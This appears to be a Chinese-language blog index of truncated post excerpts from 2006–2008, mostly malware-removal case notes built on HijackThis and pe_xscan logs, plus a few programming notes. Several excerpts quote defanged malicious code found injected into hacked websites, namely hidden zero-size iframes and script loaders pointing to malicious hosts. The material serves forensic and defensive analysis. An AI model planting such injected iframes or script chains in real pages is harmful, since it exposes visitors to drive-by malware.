其他

今天在寫一個程式時，用到了CBS_DROPDOWNLIST 風格的ComboBox控制項，但這個在資源檔中寫的ComboBox控制項，儘管順利的加入了項目，但下拉式清單顯示不出來。經過分析發現，是這個ComboBox控制項的高度設定得太小引起。可參考下面的示範代碼：;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

endurer　原創2006-10-19 第1版一位網友的電腦，一開啟IE就彈廣告視窗和什麼工作聯絡之類的訊息框，讓偶幫忙看看。到 http://endurer.ys168.com 下載 HijackThis 掃描log，發現如下可疑項：/----------Logfile of HijackThis v1.99.1Platform: Windows XP SP2 (WinNT 5.01.2600)MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180

endurer　原創2006-09-08　第2版 補充殺毒軟體的反應2006-09-07　第1版有位網友的電腦，總告發現Backdoor.Gpigeon.uql。於是通過QQ進行遠程協助。到 http://endurer.ys168.com 下載了HijackThis 掃描log，發現如下可疑項目：/-------------------------Logfile of HijackThis v1.99.1Scan saved at 11:22:51, on 2006-9-7Platform:

endurer 原創2007-02-02 第1版一位網友說他的電腦殺毒後，隱藏檔案顯示不出來了，讓偶通過QQ遠程協助幫忙檢修。到 http://endurer.ys168.com 下載了 HijackThis 掃描 log，發現可疑項：/--------O6 - HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel present--------/用 pe_xscan

endurer 原創2007-06-12 第1版 原來那個Viking還在，又加了一個Viking，幾個 Trojan 和 和 Worm。網站首頁被植入代碼：/---＜iframe name="tt" src="exobud.htm" width="580" height="25" scrolling="Auto" frameborder="0"＞＜/iframe＞＜iframe src=hxxp://www.m*85*8**53.com.cn/index.htm width=0 height=

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<&

某電力資訊網掛馬Worm.Win32.AutoRun,Trojan-Downloader.Win32.Losabelendurer 原創2008-05-28 第1版網頁包含代碼：/---＜iframe src=hxxp://c**5.*5*i***6.us/c5.htm?8888 width=0 h'＞＜iframe src="hxxp://125.*64.*92.*56/iisstart.htm" width="100" height="0"＞＜/iframe＞---/#1 hxxp://c*

遭遇 Backdoor.Win32.Agent.amb / serivces.exeendurer 原創2007-07-23 第1版有網友說，他用隨身碟從另一台電腦A中拷貝了檔案，回來把隨身碟接入電腦後，卡巴報告發現病毒。請偶遠程協助檢查電腦A。下載 pe_xscan 掃描 log並分析，發現如下可疑項：/===pe_xscan 07-07-21 by Purple Endurer2007-7-23 12:46:12Windows XP Service Pack

endurer 原創2007-02-11 第1版 一位網友發email來說電腦中了灰鴿子，並附有 HijackThis的log。在HijackThis的log發現如下可疑項：/-----O6 - HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions presentO6 - HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel presentO23

endurer 原創2007-01-03 第1版一位網友的電腦在查殺病毒後，啟動時進入案頭前有出錯提示音。讓偶通過QQ遠程協助檢修。到 http://endurer.ys168.com 下載了 HijackThis 掃描 log，未見異常。用pe_xscan掃描，發現可疑服務項：/----pe_xscan by Purple Endurer2007-2-3 11:21:4Windows XP Service Pack 2(5.1.2600)管理使用者組O23 - 服務: WinDHCPsvc (

某文學網站上掛的logo.jpg /logo.exe 更新了endurer 原創2008-05-27 第1版網站首頁 包含代碼：/---＜script src="ads/iw_t.js"＞＜/script＞---/#1 ads/iw_t.js包含代碼：/---＜script src='/images/jin.gif'＞＜/script＞---/#1.1 /images/jin.gif輸出代碼：/---＜script language="javascript" src="hxxp://w**w*.

endurer　原創2006-06-30　第1版今天收到一封從.lifuchen68_at_vip.163.com發出，主題為Re: Error 的Email。Email內容為：  ESMTP [Secure Mail System #334]:  Secure message is attached.  附件為一個名為data.zip的檔案。下載data.zip，用WinRAR開啟，裡面是一個名為：  details.txt                                   

用 MASM32 寫的 4.5KB 的 netstat--NetView：http://download.csdn.net/source/352031NetView 的功能與Windows內建的 netstat 命令相似，用於顯示協議統計資訊和當前 TCP/IP 網路連接，但檔案體積就苗條多了……檔案說明符 : F:/masm32/works/Net_View/NetView.exe屬性 : A---擷取檔案版本資訊大小失敗!建立時間 : 2008-2-11 17:20:0修改時間 : 2008

endurer　原創2006-04-24　第1版在hxxp://www.hj234.com的首頁有代碼:  ＜script language=JavaScript src="hxxp://www.***hj234.com/abc/abc.js"＞＜/script＞  hxxp://www.***hj234.com/abc/abc.js的內容為: document.write("＜iframe height=0 width=0 frameborder=0

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><TITLE>TreeMenu</TITLE><META NAME="Generator" CONTENT="EditPlus"><!--2006-04-28 改進，使用定位字元2006-04-27 建立//--><META NAME="Author"

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<; 檔案名稱: FullScr.asm; 作  者：Purple Endurer（purpleendure

用MASM32寫的 HttpRead 0.0.0001 beta2　　從6.0 SP2開始，IE 不再支援view-source：協議，雖然 FireFox支援該協議，但為此而安裝 FireFox又實在是小題大作……　　於是就有HttpRead：http://download.csdn.net/source/358215主要改進：1、使用wininet中的API來讀取。而

清除盜遊戲帳號的密西木馬變種(Trojan.PSW.Misc.r）等endurer　原創2006-04-29　第1版有位網友反應說，他的電腦運行MYIE2時經常出錯關閉。讓他用HijackThis（您可以到http://endurer.ys168.com下載）掃描log，發現如下可疑項目：  F2 - REG:system.ini: Shell=Explorer.exe 1O2 - BHO: wmpdrm - {0E674588-66B7-4E19-9D0E-2053B800F69F} - C:

一個隨身碟居然帶了三個病毒檔案Ghost.pif，cmdwin.exe，servet.exeendurer 原創2007-07-20 第1版下午，一位同事拿隨身碟過來用。用WinRAR查看，居然有三個病毒檔案。檔案說明符 : I:/Ghost.pif屬性 : ASH-擷取檔案版本資訊大小失敗!建立時間 : 2007-7-12 9:3:34修改時間 : 2007-7-18 16:48:14訪問時間 : 2007-7-20 0:0:0大小 : 23087 位元組 22.559 KBMD5 :

endurer 原創2007-06-25 第1版今天上午，一位同事說他們科室的兩台電腦開機時金山毒霸、瑞星程式出錯，運行很慢，讓偶協助檢查。用 pe_xscan 掃描 log 並分析，發現如下可疑項：/===pe_xscan 07-06-04 by Purple Endurer2007-6-25 10:17:31Windows XP Service Pack 2(5.1.2600)管理使用者組[System Process] * 0    C:/DOCUME~1/2298160/LOCALS~1